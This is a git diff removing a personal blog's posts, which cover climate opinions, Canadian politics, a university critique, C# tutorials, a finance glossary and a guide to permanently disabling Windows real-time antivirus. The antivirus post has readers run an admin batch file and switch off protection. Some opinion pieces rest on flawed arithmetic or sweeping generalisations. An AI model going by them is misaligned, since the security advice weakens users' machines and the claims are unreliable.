-Problem: coral reefs - -This isn't an all-convincing problem, but it convinced me a bit since although I have never seen corals face-to-face, the pictures are definitely beautiful. - -https://www.unep.org/news-and-stories/story/why-are-coral-reefs-dying -https://oceanservice.noaa.gov/facts/coral_bleach.html - -When water is too warm, corals will expel the algae (Zooxanthellae) living in their tissues causing the coral to turn completely white. This is called coral bleaching. -When a coral bleaches, it is not dead. -Corals can survive a bleaching event, but they are under more stress and are subject to mortality. - -New problem: Rising ocean temperatures - -Rising ocean temperatures can be explained by an increase in absorbing the sun's energy. -This increase in absorption is because of an increase in green house gases which traps more energy from the sun. - -New problem: green house gases - -The problem isn't just stabilizing green house gases, but rather reducing it in general. Either by converting it to a more manageable form of matter (solid or liquid) or via a chemical reaction to another molecule. Another solution is to release the green house gases into space itself rather than contain it. So here are three options. - -Simply stopping the burning of fossil fuels is not enough and I am 100% against significant quality of life reduction for that. We need to ensure the right infrastructure is in place so that fossil fuels are simply not needed. We need fossil fuels for planes for example and plastics. These goods need to be replaced with alternatives well before banning fossil fuel burning. And do not forget, I said burning not exporting. Countries should not lower their citizens' quality of life by banning exports in order to virtue signal (a single countries emission reduction is not going to have any impact, they would have to also reduce greenhouse gases in general). One of the F1 drivers was trying to throw shade at Canada's oil as if exporting oil is worse than consuming it. Demand always comes before supply, it's not the demand for the product but rather demand for what the product is capable of offering. This is true for sex, drugs, and food. - -Problem/Solution A: Naturally removing CO2 from the air - -```txt -SubProblem A.i: Forestry - - Replacing wood with bamboos - - https://www.guaduabamboo.com/blog/bamboo-is-a-highly-effective-carbon-sink - - https://www.nature.com/articles/nindia.2021.46 - - maintaining wood reserves or replacing traditional trees with bamboos when they are cut down - - toilet paper should be made from bamboos - SubProblem A.ii: Roads - - We need roads that can absorb CO2 from the air but can also handle heavy cars going over them. I don't think - it is possible. - Problem A.iii: Brazil / The Amazon - - The amazon is being cut down for one reason and that is that Brazil's economy is not big enough for people to be well off; i.e. goods produced per person is not high enough. This can be solved by looking at how singapore and taiwan became rich. - - we need people to invest in Brazil - - we need people to produce portuguese content, goods & services -``` - -Problem/Solution B: Technologically removing CO2 from the air - -- Problem A.i: Carbon Dioxide CO2 -- Problem A.ii: Methane CH4 -- Problem A.iii: Nitrous Oxide N2O -- Solution A.iv: Can water vapor be reduced? - -Problem/Solution C: reducing effectiveness of greenhouse gases - -```txt -SubProblemC.i - chemical injection - injecting sulfates or other aerosols into the stratosphere to reflect sunlight -``` - -Problem/Solution D: Technologically shipping CO2 from the air into space - -Problem/Solution E: removing water vapor from the air - -## Conclusion - -I'm confident climate change is causing and will cause more emotional damage than physical damage. I also believe people focus too much -on climate change than problems affecting people presenting. For example, why do I feel like Canada doesn't want me to live here? It feels wrong -to pay an absurd amount of money to buy a condo. If population growth is desired, why punish those that are adding to the population count? Should I just commute two hours -a day? Should I rather live in Windsor? diff --git a/content/posts/corruption-in-canada.md b/content/posts/corruption-in-canada.md deleted file mode 100644 index e9cda6511..000000000 --- a/content/posts/corruption-in-canada.md +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: "Corruption in Canada" -date: 2023-05-17T22:29:02-04:00 -draft: false -tags: - - canada - - opinion - - politics -summary: "Exploring examples of perceived corruption in Canada, including government expenses, conflicts of interest, inter-provincial trade issues, and critiques of government spending and contracts." ---- - -Just a list of topics and links that show how corrupt Canada can be at times. - -[Governors general billed over $88,000 in clothing to taxpayers since 2017: documents](https://nationalpost.com/news/politics/governors-general-billed-over-88000-in-clothing-to-taxpayers-since-2017-documents) - -The CEO of BC Housing Scandal was married to the CEO of Atira, which is a non-profit that gets funded by BC housing. On top of the egregious conflict of interest that was allowed by the board of directors, Atira sometimes won contracts without any bidding involved. - -[Canada's beer smuggler is our new national hero](https://www.theglobeandmail.com/opinion%2Fgerard-comeau-beer-smuggler-and-our-new-national-hero/article37258839/) - -R v. Comeau - -In 2012, the police of New Brunswick conducted a sting operation that resulted in a $300 ticket. What for? Simply for "smuggling" alcohol across province lines. Comeau had purchased cheaper beer in Quebec and brought it back to New Brunswick. - -According to [Ipos](https://www.iedm.org/sites/default/files/web/pub_files/Ipsos_poll1117_en.pdf), 78% of 1,100 Canadians surveyed, think people should be allowed to buy any amount of alcohol from another province and bring it back home. - -This case is evidence that Canada is a broken democracy. Even when the majority of people want something, the minority in power will make decisions that go against the beliefs and values of Canadians under some excuse they inevitably come up with. - -First past the post can probably be blamed to some extent. - -Mental illnesses cause forest fires - -- [Glendon woman charged with 32 counts of arson](https://www.lakelandtoday.ca/local-news/glendon-woman-charged-with-32-counts-of-arson-3844982) -- https://twitter.com/s_guilbeault/status/1666498618394566695?s=20 - -https://www.cbc.ca/news/canada/ottawa/phoenix-ibm-contract-union-pay-government-1.4295827 - -[Chrysler owes Canada big time](https://www.reddit.com/r/canada/comments/143ft23/an_ontario_developer_charged_a_buyer_an_extra/jnb1duw/) - -[$576B in new measures since start of COVID pandemic: PBO report](https://nationalpost.com/news/politics/federal-government-has-spent-576b-in-new-measures-since-start-of-covid-pandemic-pbo-report) - -National Post does not even link to the report. They just pick out one number. Sure the government is in the wrong, but that doesn't mean you can't do a better job reporting on the issue. - -[Budget 2022: Issues for parliamentarians](https://www.pbo-dpb.ca/en/publications/RP-2223-001-S--budget-2022-issues-parliamentarians--budget-2022-considerations-parlementaires) - -If the economy is $1T, and the government is spending $1T, then 50% of the economy is done inefficiently. Canada is almost a communist country. - -## Platform - -The goal is to maximize net revenue recovered. diff --git a/content/posts/critique-of-wlu.md b/content/posts/critique-of-wlu.md deleted file mode 100644 index 250041250..000000000 --- a/content/posts/critique-of-wlu.md +++ /dev/null @@ -1,249 +0,0 @@ ---- -title: "Critique of Wilfrid Laurier University" -date: 2024-03-15T20:16:01-04:00 -draft: false -tags: - - opinion - - university - - review -summary: "A detailed critique of Wilfrid Laurier University from a dual-degree student, covering issues with housing, culture, and various academic programs and practices." ---- - -## Introduction - -I'm a 5th (yes 5th) year student at Wilfrid Laurier University (B. Business Administration) and University of Waterloo (B. Computer Science) and I've been through some rough times and some good times. My worst term was 2B but 5A is in second place and actually prompted (EC 250 ONLINE) me write this post. - -I'm going to divide my thoughts based on main sections. - -This is always a work in progress so comment below with anything I should add. - -{{< toc >}} - -## Housing - -One of the biggest issues I have with this university is how there is a housing shortage and this school decides to not take responsibility of the housing of students and instead leave it up to the private industry where what ends up happening is that in the buildings right behind campus, there are non-students living under rent-control with neighbors being students paying $300+ more per month. - -The second thing I hate about the school is that it doesn't advocate for student's quality of life. We have a double road going through campus. - -## Culture - -I simply cannot claim to be proud to be a golden hawk. I feel like after second-year, I didn't care too much about parties anyways. I ended up solving my mental health issues and would rather hang out with friends I can count on. After I solved my mental health issues, I realized culture is about a mindset, and whatever mindset I have is not valued here at Laurier. - -## Miscellaneous - -### OneCard Credits and Food Court - -Screw this monetary system. Thank fully I'm almost done using the money on Subway bowls. - -## Academics - -### WileyPlus and Timed Textbooks or Access Codes for Marks is Unethical - - -- If ethics matters at all, the last thing to do is to turn around and subject students to similar unethical practices -- if unethical practices don't matter when students are on the receiving end, why would students care if a minority is on the receiving end? - -### Micro-Economics 1 Should be Combined with Micro-Economics 2 - -When I took Microeconomics 2 over the summer of 2020, my notes were condenses to 76 lines. This was after I started writing my notes in Word files and before I started writing my notes on my [blog](/tags/university). My micro-economic notes were a continuation of my notes from high school which was a word document for each chapter. Clearly, with notes like mine, micro-economics 2 should just be a chapter in microeconomics 1. On top of this, the only reason we had to take micro-economics 2 or macro-economics 2 was that you had to take one to graduate plus they are pre-requisites to 4th year finance courses that can be overridden by an academic advisor. Additionally, micro-economics 1 is similar to managerial accounting. So if anything, micro-economics 1 should be combined with managerial accounting 1. - -
MicroEconomics 2 Notes - -```txt -MR = P_e (1 + 1/η) -η = dQ/dP * P_e/Q_e - -Price is elastic when 0 <= Q < a/2b where a and b are coefficients of the demand function - -INPUT MAXIMIZATION -MR / Product of input a = Marginal Expenditure of input a - -MP_L / P_L = MP_K / P_K - -Elasticity of output for Cobb-Douglas equals the exponent of the respective input -E.g. -Q_1 = 100 * L^0.7 * K^0.4 -increase labour by 1%: Q_2 = 100(1.01L)^0.7 * K^0.4 -Q_2 = 1.006989(100L^0.7 * K^0.4) -Q_2 ~= 1.007Q -> 0.7% increase (exponent) - -Economies of Scope -When it is cheaper to produce quantities of two products together -How much is saved as a percentage of the new cost -(OLD COST - NEW COST) / NEW COST - -In PC, profit maximizing level is when P = MC - -markup equal to −1/(1 + η) -markup % = P / MC - -in fixed proportions, MC = MR_A + MR_B as long as either MR is > 0 - -Cournot solution -Set dProfit/dQ_a/b = 0 for both companies where Q_a/b is the respective Quantity for each company (e.g. TR_a = XQ_A + m(Q_a + Q_b)Q_a ) -Substitute equations and voila -Price leader -Using the Q_b = ... equation, sub into P= equation -e.g. Q = Q_a + Q_b where Q_b is the substituted equation - -Advertising expenditures are optimal if an additional dollar spent on ads -increases net profit (NOT MR) by one dollar. -MR from $1 of advertising should equal elasticity of demand curve - -Price Discrimination Optimal -MR_1 = MR_2 -P_1(1 + 1 / ped_1) = P_2(1 + 1 / ped_2) -P_1 / P_2 = [1 + (1 / ped_2)] / [1 + (1 / ped_1)] - -First degree -Charging at demand curve -Second degree -By usage. Less/q as q increases -Third degree -Discounting distinct separable markets -set MR_1 = MC = MR_2 -Peak load pricing - -Pricing Strategy (Coupons) -MR_R = MR_S = MC -P(1 + 1 / PED_R) = (P - X)(1 + 1 / PED_S)= MC. -X is discount value -PED_R for those who don't use coupons. -PED_S for those who use coupons. - -Two part tariff -Entry fee = consumer surplus where P = MC -Per use fee found by P = MC - -Profit = R - Fixed Costs - Dis-utility of Manager as $ - -When calculating utility with probabilities, first calculate utility of all wealths -and then multiply by the probabilities - -When there are big firms and small firms, -set MC_i = P to first find q_i and then * by # to get Q_small -Then do Q - Q_small to get Q_big which you can use to find P - -variance = weight * (val_1 - weighted_mean)^2 + ... -std_dev = sqrt(variance) -``` - -
- -### EC 250 - Macro-Economics 2 is Crammed - -> First, defraying the costs that low-income workers face when entering the labour force costs money. - -This is headache of a sentence straight from the textbook. So much redundancy and it's so hard to parse. What does it mean? It means it costs money to subsidize low-income workers when they enter the labour force. - -I'm in 5A and I'm taking EC-250 because it's a pre-requisite to fixed income but I'm also interested in macro-economics. This is one of the few times where I have felt constant pressure and burnout throughout the term. Maybe only 2 weeks of breathing room and this course was responsible for the stress. The expectation was to read an entire chapter, sometimes two, then do homework, and then do a quiz. When things got tough, I just resorted to reading the instructors "summaries" which were also filled with word vomit. My notes are most definitely filled with word vomits. Somewhere along the line, conceptual teaching was thrown out in favour of memorization. I suggest Macro-Economics 1 and 2 be taught in first year where the load is balanced between the two. - -The difference between the courses is that Macro Economics 1 is abstracted whereas Macro Economics 2 answers where the abstractions come from which is just as important and more enlightening. Generally speaking, macro-economics 1 and 2 should cover the following: - -- Macro Economics 1 (What are we playing with) - - Output (GDP and what are Real Prices) - - Labour - - Unemployment - - Investment and Savings - - Interest Rates - - Currencies - - Open vs. Closed Economies - - Money - - Central Bank - - Reserves - - Fractional reserve banking - - Inflation -- Macro Economics 2 (How to play) - - Business Cycles - - Shocks - - Monetary Policies - - Money Supply - - Overnight interest rates - - Fiscal Policies - - Government - - Taxes - - Inflation and Unemployment - - Economic Growth - - Purpose - - Factors - -### BU 111 - Introduction to Business Organization - -BU 111 is super generalized and should not cover time value of money. Time Value is an important concept that belongs in finance 1 where students should be taught how to start creating Excel templates that can be used for Finance 2, Investment Management, and Futures, Swap, & Options. - -I'll have to revisit my notes to improve this critique. - -### BU 121 - -Don't have much criticisms of BU 121 as it is more of a practical application of BU 111 and should focus on either extending or applying said courses. - -### BU 288 - Organizational Behaviour 1 - -These courses are very subpar. First, I vaguely remember the content but remember the professors well since they had personalities. The first course mentions Dunning Kruger even thought the "effect" is [autocorrelation](https://economicsfromthetopdown.com/2022/04/08/the-dunning-kruger-effect-is-autocorrelation/#fn1) (i.e. the effect isn't psychological but statistical and "tells us nothing about the people it supposedly measures"). - -The course is a bunch of theories that the take away is to manage people based on evidence proven to work. It's more of a psychology course and the one takeaway is that my locus of control is 5/10 (fence-sitter). In my opinion, anyone who thinks they solely can determine their behaviour/actions is dumb and so are the people who think they cannot take responsibility for themselves. This course should instead be called and focused on **pitfalls of groups and ethics**. Takeaways: - -- Limit group membership to 10 people (e.g. committees, board of directors) -- Group polarization: sometimes an idea that is unpopular to even all members can be agreed upon just because of it being the only suggestion -- Biases in decision making: heuristics (snappy solution), self-interests, information availability -- Jargon is for insecure people -- Negotiation: **needs improvement** -- Ethics: **needs more** - -### BU 398 - Organizational Behaviour 2 - -This course focused on the behaviour of the organization itself. It's definitely an information overload. - -- Porter's Competitive Strategies (cost vs. quality, targe market size) -- Organizational culture: implicit (e.g. tacit knowledge), integration of new members, adapting - - Culture picked for a strategy (needs to talk about pitfalls in real companies) -- Whistlblowing: what should you do when corporation does not have a whistlblowing protocol -- Organizational structure and reporting relationships -- Interorganizatitonal relationships: resource dependence, collaborative, competitor... -- "Life cycle": give us examples though -- Bureaucracy and why organizations don't change and what to do about it -- International Organizations even though this is discussed in more details in BU 489 - -The only good thing about the second course is that it was in person and people actually showed up to class. - -### BU 362 - Building and Managing Products, Services and Brands - -This was a case based course which was okay and got reworked anyways so I won't talk about it. Basically a way for laurier to get more money from us and make us pay $100+ for the articles. - -### BU 375 - Operations Management - -Useful course since it's an intro to project management. Pairs well with Waterloo's Algorithms which goes over a graph algorithm. Two assignments that were a burden. For the second assignment, I even created a python program to draw the graphs for me using networkx and matplotlib. - -### Integrated Case Exercise (ICE) - -My group members recommended the company to innovate in creating digital humans that have the same genetic reactions as actual humans to be used in clinical trials. -Make with this what you will but in my opinion, a BBA holder is not a good consultant if the average person can't even critically think of a good solution. I think the BBA program needs to seriously promote intra-organizational case solutions more. - -### BU 481 - Strategic Management (Policy 1) - -Disgusting course. Never focused on failures, only successes. Talks about strategies from OB 2. Had to read cases every week. Content was very boring. - -- Porter's 5 forces -- PESTEL -- Industry Value Chain -- Resource based view -- Leader analysis: refuses to acknowledge that leaders are picked by luck not merit and can fool shareholders like with Jack Welch -- Frameworks - -### BU 489 - International Strategy (Policy 2) - -What this course should focus and teach: when to expand outside of a country, when to start outside the country, how to create a strategy to expand outside of a country, how to maintain and/or manage an organization with a presence in more than one location, when does an organization transcend it's nationality (Transnational), and when should organizations exit a market? - -- Worldwide scope of organizations -- Midterm was not fun at all since it required memorization and was under lockdown browser -- Discussions were nice -- Don't really think it taught us how to get into the position where we can make these decisions -- Jargon heavy, just read my comments on the deglobalization article - -What I wish these courses would do as they are in an academic setting is bring something like "degrowth" into the picture. University should be about exposing people to new ideas not just incumbent ones. - -A person who takes this course should know when and how to start exporting goods they produce in Canada to America and Europe. - -## Closing Thoughts - -Maybe in the future when I don't have to worry about money, I can develop a business programme that does shape people into becoming holistic critical thinkers who can come up with and implement strategies. diff --git a/content/posts/csharp-mongodb-add-item-to-dictionary.md b/content/posts/csharp-mongodb-add-item-to-dictionary.md deleted file mode 100644 index d2297b970..000000000 --- a/content/posts/csharp-mongodb-add-item-to-dictionary.md +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: "C# MongoDB Add Item to Dictionary" -date: 2023-08-12T11:12:03-04:00 -draft: false -tags: - - programming - - tutorial - - c-sharp -summary: "C# tutorial on adding items to a MongoDB Dictionary field using the $push operator, demonstrating the array-of-documents approach." ---- - -To add an item to a Dictionary field in a MongoDB collection - say `JoinRequests` of the `Ride` collection - treat the dictionary field an array and utilize the `$push` operator. I do not like the k, v extra outlining, but this is the only way I found that works with dots in the key. If you find an atomic way that can treat the dictionary as a Document and -not as an array of documents, please let me know. - -Here is an example. - -```cs -using Microsoft.Extensions.Options; -using MongoDB.Driver; - -class Ride { - // .. - [BsonDictionaryOptions(DictionaryRepresentation.ArrayOfDocuments)] - public Dictionary Passengers { get; set; } = new(); -/* -{ - "Passengers": [{ "k": Email, "v": Passenger }] -} -*/ -} - - -public async Task AcceptJoinRequest(string rideId, string driver, string user) { - var updatePull = Builders.Update.Pull(r => r.JoinRequests, user); - - var update = updatePull.Update.Push(r => r.Passengers, new KeyValuePair(user, new Passenger())); - - var res = await _ridesCollection.UpdateOneAsync(x => x.Driver == driver && x.Id == rideId && x.JoinRequests.Contains(user), update); - return res.IsModifiedCountAvailable && res.ModifiedCount > 0; -} -``` diff --git a/content/posts/csharp-partial-json-deserialization.md b/content/posts/csharp-partial-json-deserialization.md deleted file mode 100644 index 2da31587d..000000000 --- a/content/posts/csharp-partial-json-deserialization.md +++ /dev/null @@ -1,85 +0,0 @@ ---- -title: "C# Partial Json Deserialization" -date: 2024-11-24T23:56:41-05:00 -tags: - - programming - - tutorial - - c-sharp - - asp.net -summary: "C# tutorial on partial JSON deserialization using System.Text.Json.Nodes.JsonNode to extract specific data without full deserialization." ---- - - - -I started writing this article all the way back in March but only got to finishing it now since I needed it for an XUnit test I was writing. - -Suppose we want to consume a REST API that has extra data for paging or something else but we just want to mutate or use the data portion. - -```jsonc -{ - "_request_": { - "url": "/collection", - "count": 50, - "pages": 20, - "total": 200, - "next": "/collection?page=:number", - "prev": "/collection?page=:number", - "first": "/collection?page=:number", - "last": "/collection?page=:number" - }, - "data": [ - { - "id": 0, - "name": "string" - } - ] -} -``` - -How do we only deserialize the `data` portion? - -Relevant methods: - -- [JsonNode.ParseAsync](https://learn.microsoft.com/dotnet/api/system.text.json.nodes.jsonnode.parseasync) -- [JsonNode.AsArray](https://learn.microsoft.com/dotnet/api/system.text.json.nodes.jsonnode.asarray) -- [JsonNode.AsObject](https://learn.microsoft.com/dotnet/api/system.text.json.nodes.jsonnode.asobject) - -After using these methods to navigate the JSON, you can use deserialization methods or object instantiation to use types for the data you actually care about. - -Real code example (not related to sample JSON). - -```cs -var jsonObject = await JsonNode.ParseAsync(response.Content.ReadAsStream()); -foreach (var car in jsonObject!["data"]!.AsArray()) { - carModels.Add(new CarModel { - TrimId = car!["id"]!.Deserialize(), - TrimName = car["description"]!.ToString(), - ModelName = car["make_model"]!["name"]!.ToString() - }); -} -``` - -Some notes regarding the code above: `CarModel` is defined elsewhere, Visual Studio will automatically add the necessary import statements, and it assumes that you already know how to make a request with error handling. If you are interested in how I consumed all the pages of this API, here is some more code. - -```cs -uint page = 1, totalPages = 1; -List carModels = []; -while (page <= totalPages) { - var requestUrl = $"trims?&page={page}&verbose=yes&limit=50&year={year}&make_id={makeId}"; - var request = new HttpRequestMessage(HttpMethod.Get, requestUrl); - var response = await CarApiRequest(request); - - var jsonObject = await JsonNode.ParseAsync(response.Content.ReadAsStream()); - foreach (var car in jsonObject!["data"]!.AsArray()) { - carModels.Add(new CarModel { - TrimId = car!["id"]!.Deserialize(), - TrimName = car["description"]!.ToString(), - ModelName = car["make_model"]!["name"]!.ToString() - }); - } - totalPages = jsonObject["collection"]!["pages"]!.Deserialize(); - // Normally I would use the "next" property to figure out the next "resource" to request. However, with this particular API, their next URL was not correct (infinite loop), so I built the URL instead since I'm not delaying the time to release.. - // if (jsonObject["collection"]!["next"]!.AsValue().ToString() == "") break; - page++; -} -``` diff --git a/content/posts/disable-real-time-protection-permanently.md b/content/posts/disable-real-time-protection-permanently.md deleted file mode 100644 index 2c27e3caa..000000000 --- a/content/posts/disable-real-time-protection-permanently.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "How to Disable Real Time Protection Permanently" -date: 2023-02-22T23:58:11-05:00 -draft: false -tags: - - windows -summary: "A guide for developers on permanently disabling Windows Real-Time Protection to reduce unnecessary CPU usage. Learn how to install the Group Policy Editor and follow steps to turn off the protection." ---- - -As a developer who dabbles with web development, Real-Time protection ramps up CPU usage unnecessarily. - -### Installing Group Policy Editor - -First check if you have `gpedit.msc` installed (by searching the start menu or by using Win + R) - -1. Install gpedit.msc by downloading [gpedit-enalber.bat](https://www.majorgeeks.com/files/details/add_gpedit_msc_with_powershell.html). -2. Extract the zip from the previous step -3. Right click `gpedit-enabler.bat` and Run as administrator. -4. Go for a coffee break - -### Disabling Real-Time Protection - -I'm not a plagiarizer. You can follow the instructions from [trend micro](https://news.trendmicro.com/2022/12/14/how-to-turn-off-windows-defender/) diff --git a/content/posts/ethics-and-morality-is-hard.md b/content/posts/ethics-and-morality-is-hard.md deleted file mode 100644 index 8aea639be..000000000 --- a/content/posts/ethics-and-morality-is-hard.md +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: "Ethics and Morality is Hard!" -date: 2022-03-23T22:18:40-04:00 -draft: true -tags: - - opinion - - morality - - ethics -summary: TODO ---- - -DISREGARD - -## Introduction - -Morality and Ethics are simple at their core, but quickly become complicated if you stop and think about it. -In my eyes, morals have to do with impeding someone else's rights and -ethics has to do with decision making that harms others either directly or reasonably indirectly. - -For example buying a bit of extra toilet paper during the pandemic is not unethical since you're just buying **a bit** extra. -However, buying several toilet paper package is considered unethical since you are taking away those resources from someone -else who needs it. Just because the free market decides the supply can be purchased, does not mean it is ethical to -purchase the entire supply. This is a failure of the free market, but socialism, communism, marxism, Eli-sm (joke), and etc. are not going to solve unethical behaviour! - -We all agree morals and ethics are objective, but time and time again, when applied, -they become **subjective**. So subjective in fact, that we can't agree on which morals are objective! -For the history of the human race, the present society places past societies as immoral; -Colonialism, slavery, marital rape, trading daughters, etc. - -Let's take a deep dive on morality. Questioning even the basics. -If our basics are weak, we can never extend them, and future societies will look -down on us! **Gross violations of privacy ring a bell.** However, there's no guarantee -that the society of the future will be more moral than the present. They could look at us -and say we had too much privacy! - -Another argument, albeit an easy one, is collateral damage. No innocent human, no matter the -situation at hand, should be killed or harmed significantly! War is against an organization and its supporters. Living -in a country does not mean you support its actions!! It is unreasonable and unethical to - -### Murder - -If we want to establish basics, the definition of murder does not make sense for "murder is immoral." - -According to the two dictionaries [Cambridge](https://dictionary.cambridge.org/dictionary/english/murder) and [Oxford](https://www.merriam-webster.com/dictionary/murder), murder is the **crime** of intentionally killing another person. - -We can't use cambridge because it does not include premeditated. I don't know about you, but in self-defense, -you are intentionally trying to stop the other person. By the Cambridge definition, a person who killed in self-defense, -would be considered a murderer. Therefore, we will not use its definition. - -I implore you to ask yourself what are the flaws of saying "murder is immoral." -So we encounter my first objections for now. - -- killing someone when governments and laws (crime is a social construct) don't exist is not considered murder? -- which region's laws? No country can agree on their laws. No country only follows international laws! -- premeditated killing a convicted pedophile is considered murder and thus immoral - -To elaborate further, there is a difference between an innocent person being killed and a sober rapist. -If you do not comprehend the difference, you either lack the ability to critically think (in which case read further), or you are not -open-minded. - -Innocent: person did not start a violent encounter nor did they call for violence. A person who is verbally abusive is still considered innocent from death. - -Sober rapist: I mention sober, because no human has the right to guess if a drunk person actually had the intention of committing rape. The drunk rape should be rightfully punished, but their drinking of alcohol is not a valid death sentence, unless of course it resulted in the death (or worse result) of someone else. -That said, getting drunk is unethical itself. If you're getting shit-faced more than once, you need help! diff --git a/content/posts/failed-to-connect-to-localhost.md b/content/posts/failed-to-connect-to-localhost.md deleted file mode 100644 index ea53caba6..000000000 --- a/content/posts/failed-to-connect-to-localhost.md +++ /dev/null @@ -1,32 +0,0 @@ ---- -title: "Fixing Failed to Connect to localhost/127.0.0.1" -date: 2023-02-19T15:48:20-05:00 -draft: true -tags: - - mobile - - android -summary: "A solution for the 'Failed to connect to localhost/127.0.0.1' issue when trying to consume a locally running API from a mobile device" ---- - -I wanted to consume a localhost API I had running on localhost/127.0.0.1:7065. So to fix this issue, instead -of requesting a localhost:PORT, use your local IPv4 address and port. - -On Windows, open a terminal and view the IPv4 address - -```sh -ipconfig -``` - -Mine is '192.168.0.19' - -On Linux you can use `hostname -I` - -Alternatively, you can open a Python terminal and run the script from my other article [Python Get LAN IPv4 Address](/posts/python-get-ipv4) - -Now that we have our local IPv4 address, simply replace the URL of your API. Since I'm using Uno Platform currently, my BASE URL is now: - -```cs -protected static string BASE_URL = "https://192.168.0.19:7065/"; -``` - -Since I am using ASP.NET, my API is running on HTTPS. diff --git a/content/posts/finance-knowledge-database.md b/content/posts/finance-knowledge-database.md deleted file mode 100644 index 436048b41..000000000 --- a/content/posts/finance-knowledge-database.md +++ /dev/null @@ -1,194 +0,0 @@ ---- -title: "Finance Knowledge Database" -date: 2023-09-08T14:15:12-04:00 -draft: false -tags: - - finance -summary: "A finance knowledge database defining terms related to lending and M&A from a private debt internship, including loan types, financial ratios, agreements, and key concepts." ---- - -For my last co-op, I got to intern at Fiera Capital on their Private Debt team which manages $5B+ of investors. Within the first week, there are a lot of terms related not just to lending but even M&A that I had trouble figuring out the meaning. I'm writing this article to make it easier to learn and understand finance. - -### Revolver or Revolving (Loan, Debt, Credit) - -This means that there's a max limit on how much the borrower can borrow and it can be repaid to free up the amount available to borrow. A credit card is an example of this. - -### Accordion Loan - -An agreement that the limit can be increased or that a term can be added. - -### FCCR - Fixed-Charge Coverage Ratio - -FCCR = (EBITDA minus taxes unfunded capex and distributions) / (Fixed Charges Before Tax including interest expense) - -### Unfunded Capex - -Unfunded CAPEX = Net CAPEX - increase in long-term debt - -From a lender's point of view, when assets are sold, the capex does not decrease, unlike a DCF model. - -### Distribution - -My broad definition is: Non operational cash outflow. - -Typically this is defined in the legal contract with a lot of leeway. For example, some distributions might be salary related, so it is hard to make a court believe that the covenant was a legitimate if it was preventing management from earning a living (as ridiculous as it sounds, according to my co-worker at FPD). - -### Leverage = Total Funded Debt / EBITDA - -### Funded Debt - -Funded debt refers to all types of **loans** provided by lenders. The reason "funded" is used, is because "debt" on its own implies all liabilities. - -### EBITDA - -Earnings before interest expense, taxes, depreciation and amortization. This is the number used because taxes are usually a fraction of EBITDA, depreciation/amortzation are not cash values, and interest expense is what the private lender would get (assuming that the lender is _senior_). - -### Pro-Forma EBITDA - -Pro-Forma means that the EBITDA is an estimate under a specific assumption or scenario. For example, the scenario is "loan injected." - -### Normalized EBITDA - -A Normalized EBITDA is the EBITDA we'd expect the firm to generate after adjustments including the remval of non-recurring expenses. When combined with Pro-Forma, previous recurring expenses might be expected to stop as well. For example an extra employee that would no longer be getting paid post-deal. Although this is what we expect a normalized EBITDA figure to be, the adjustments that were made need to be inspected because it's possible the company did remove recurring expenses. An example of a normalized EBITDA would be a retailer of the company over ordering in one year and under ordering the next year. Such a situation would lead to a greater disparity between two years. So if there is evidence that the retailer over ordered, then a case for normalization may be made. A bad example of normalization is removing rent expense when there is a going concern. - -### Going Concern - -A going concern is that the company is not closing shop anytime soon. - -### Secured Loan and Lien - -Secured means that the loan has collatoral. An example is a mortgage where the loan is secured on the home. A credit card is an unsecured loan. When an asset is secured, the term sheet may say something like "lender has first lien on accounts receivable." - -Senior, Junior Lender - -A senior lender for a company is the lender that gets dibs usually on assets and is usually the longest tenured -or the biggest. It depends on the intercreditor agreement if there's a few lenders and subscription agreement if there are many. A junior lender exists when there are at least two lenders and one is the senior. - -### Intercreditor Agreement - -An intercreditor agreement is a custom agreement between lenders on the priority of payment and securitiy. - -### Subscription Agreement - -A subscription agreement is an agreement between many lenders based on the same contract drafted by a bank. - -### Current Ratio - -Current Assets / Current Liabilities - -### CIM - Confidential Investment Memorandum - -This is a prospectus by the company to the lender for the loan. It will generally have info about the company, an overview on its financials, and what they are asking for. Generally, just like with pitching to equity investors, companies will try to appear as squeeky clean as possible. - -### Preliminary Investment Memorandum - -After discussion with the company about their CIM and a walk through of their internals, a PIM is drafted for review. This is a proposal for a deal to make. It needs to be reviewed by people higher up. - -### Investment Memorandum - -This is the raw deal. The big one. This should be everything you need to know about the deal. The background info, the financials, the terms of the loan (including covenants), and the risks and mitigations. The risks and mitigations is the most important component because why else would the firm be coming to a private lender and not a bank which is cheaper. The money did not come out of thin air. It is the investors. - -In one instance (not at Fiera PD), a company was in the business of selling sonic boom devices that can be used to detect mining and minerals. The company stated that most of its revenue came from universities. What was not mentioned and was not stated as a risk by the account manager of the loan was that Oil & Gas companies were funding these research endeavers. When gas prices plummeted, revenue was cut by 90%. - -### Financial Covenant - -A financial covenant is basically a requirement for the company to not be considered in a default state (other than missing a payment). These covenants basically exist for insight into the performance of the company and a guage on how risk has changed. Covenants could be leverage based but obviously, each lender will have different risk appetite. To be in the private lending business, the risk appetite is obviously higher than bonds and banks, but might not be as high as individual equities. Investors are just looking to out perform the market on a long-term basis. - -### Tuck-in - -A tuck-in is when a company acquires another company and merges it into a subsidiary or division rather than the entire firm. - -### Follow-on Draws - -Future loans. - -### bps - Basis Points - -50 bps is 0.5 percentage points (not 50% but 0.5%). - -### EOI - Expression of Interest - -### Commitment Fee - -A fee for committing money to the borrower. Similar to a front-end load. So if the loan is $1m with a 1% commitment fee, the other party will get $990,000. - -### Cash Sweep - -Sometimes a term sheet will include "cash sweep" where excess cash that is not required for ongoing operations will be used to pay down the principal debt ahead of schedule. - -### COI - Certificate of Insurance - -### LOI - Letter of Intent - -### Bridge Loan - -A bridge loan is a loan that is temporary and short-term (up to 2 years). It is used for say financing operations where an exit will happen. An exit could be long-term financing, bankruptcy completion, or even selling the business soon. - -### VTB - Vendor Take Back - -I believe this is when you agree to a purchase price of $500,000 and you only give $450,000 to the vendor. The $50,000 is a vendor take back which is a liability that is still payable. A VTB is an alternative to borrowing more from a lender. - -### [T / S] DSCR - [Total / Senior] Debt Service Coverage Ratio - -Net Operating Income / Interest Expense - -### Interest Paid-in-kind (PIK) - -The interest is accrued rather than paid in cash in the period. - -### Expression of Interest (EOI) - -Interest/appeal in making a deal was expressed - -### Next Twelve Months (NTM) - -The value that is being looked at is based on 12 months of projected data - -### Trailing Twelve Months (TTM) - -The value that is being looked at is based on 12 months of projected data - -### Last Twelve Months (LTM) - -Literally TTM. I hope that we get rid of this terminology as I'm not the only one who starts reading LTM as long-term before realizing the m stands for months. Please re-write your sentences such that TTM is use rather than LTM. - -### Canadian Private Debt Players - -- Fiera Private 